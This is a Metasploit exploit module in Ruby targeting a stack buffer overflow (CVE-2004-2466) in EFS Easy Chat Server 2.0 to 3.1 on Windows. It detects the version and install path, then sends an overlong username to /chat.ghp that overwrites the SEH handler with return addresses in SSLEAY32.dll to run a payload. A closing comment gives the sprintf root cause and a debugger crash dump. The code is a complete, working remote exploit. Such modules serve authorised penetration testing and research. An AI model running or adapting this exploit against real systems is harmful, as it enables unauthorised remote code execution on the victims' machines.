##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  HttpFingerprint = { :pattern => [ /Easy Chat Server\/1\.0/ ] }

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'EFS Easy Chat Server Authentication Request Handling Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in EFS Software Easy Chat
        Server versions 2.0 to 3.1. By sending an overly long authentication
        request, an attacker may be able to execute arbitrary code.
      },
      'Author'         =>
        [
         'LSO <lso[at]hushmail.com>', # original metasploit
         'bcoles' # metasploit
        ],
      'License'        => BSD_LICENSE,
      'References'     =>
        [
          [ 'CVE',   '2004-2466' ],
          [ 'OSVDB', '7416' ],
          [ 'OSVDB', '106841' ],
          [ 'BID',   '25328' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'    => 7000,
          'BadChars' => "\x00\x0a\x0b\x0d\x0f\x20\x25\x26",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # Tested on Easy Chat Server v2.0, 2.1, 2.2, 2.5, 3.1 on:
          # -- Windows XP SP 3 (x86) (EN)
          # -- Windows 7  SP 1 (x64) (EN)
          # -- Windows 8  SP 0 (x64) (EN)
          [ 'Automatic Targeting', { 'auto' => true } ],
          # p/p/r SSLEAY32.dll
          [ 'Easy Chat Server 2.0', { 'Ret' => 0x10010E2E } ],
          # p/p/r SSLEAY32.dll
          [ 'Easy Chat Server 2.1 - 3.1', { 'Ret' => 0x1001071E } ]
        ],
      'DisclosureDate' => '2007-08-14',
      'DefaultTarget'  => 0))
  end

  def check
    version = get_version
    if not version
      return Exploit::CheckCode::Safe
    end
    vprint_status "Found version: #{version}"
    if version !~ /^(2\.\d|3\.0|3\.1)$/
      return Exploit::CheckCode::Safe
    end
    path = get_install_path
    if not path
      return Exploit::CheckCode::Detected
    end
    vprint_status "Found path: #{path}"
    return Exploit::CheckCode::Appears
  end

  #
  # Get software version from change log
  #
  def get_version
    res = send_request_raw 'uri' => '/whatsnew.txt'
    if res and res.body =~ /What's new in Easy Chat Server V(\d\.\d)/
      return "#{$1}"
    end
  end

  #
  # Get software installation path from uninstall file
  #
  def get_install_path
    res = send_request_raw 'uri' => '/unins000.dat'
    if res and res.body =~ /([A-Z]:\\[^\x00]{2,256})?\\[a-z]+\.htm/i
      return "#{$1}"
    end
  end

  def exploit

    # get target
    if target.name =~ /Automatic/
      version = get_version
      vprint_status "Found version: #{version}" if version
      if not version or version !~ /^(2\.\d|3\.0|3\.1)$/
        fail_with(Failure::NoTarget, "#{peer} - Unable to automatically detect a target")
      elsif version =~ /(2\.0)/
        my_target = targets[1]
      elsif version =~ /(2\.\d|3\.0|3\.1)/
        my_target = targets[2]
      end
    else
      my_target = target
    end

    # get install path
    path = get_install_path
    if not path
      fail_with(Failure::UnexpectedReply, "#{peer} - Could not retrieve install path")
    end
    path << "\\users\\"
    vprint_status "Using path: #{path}"

    # send payload
    sploit = rand_text_alpha(256 - path.length)
    sploit << generate_seh_payload(my_target.ret)
    print_status "Sending request (#{sploit.length} bytes) to target (#{my_target.name})"
    send_request_cgi({
      'uri' => '/chat.ghp',
      'encode_params' => false,
      'vars_get' => {
        'username' => sploit,
        'password' => rand_text_alphanumeric(rand(10) + 1),
        'room' => 1,
        'sex' => rand_text_numeric(1)
      }
    }, 5)

  end
end

=begin

0x004144C8 calls sprintf with the following arguments:
sprintf(&FileName, "%susers\\%s", path, username);

Since we can make the username larger than the allocated buffer size
we end up overwriting SEH with a PPR from SSLEAY32.dll and nSEH with
a short jmp to the beginning of our shellcode.

(46c.144): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=ffffffff ebx=000007f6 ecx=0047fd50 edx=41414141 esi=000007ef edi=0047a3ea
eip=00445f34 esp=01216b88 ebp=01216ba0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
EasyChat+0x45f34:
00445f34 8a02            mov     al,byte ptr [edx]          ds:0023:41414141=??

0:005> !exchain
01216dd8: 41414141
Invalid exception stack at 41414141
=end
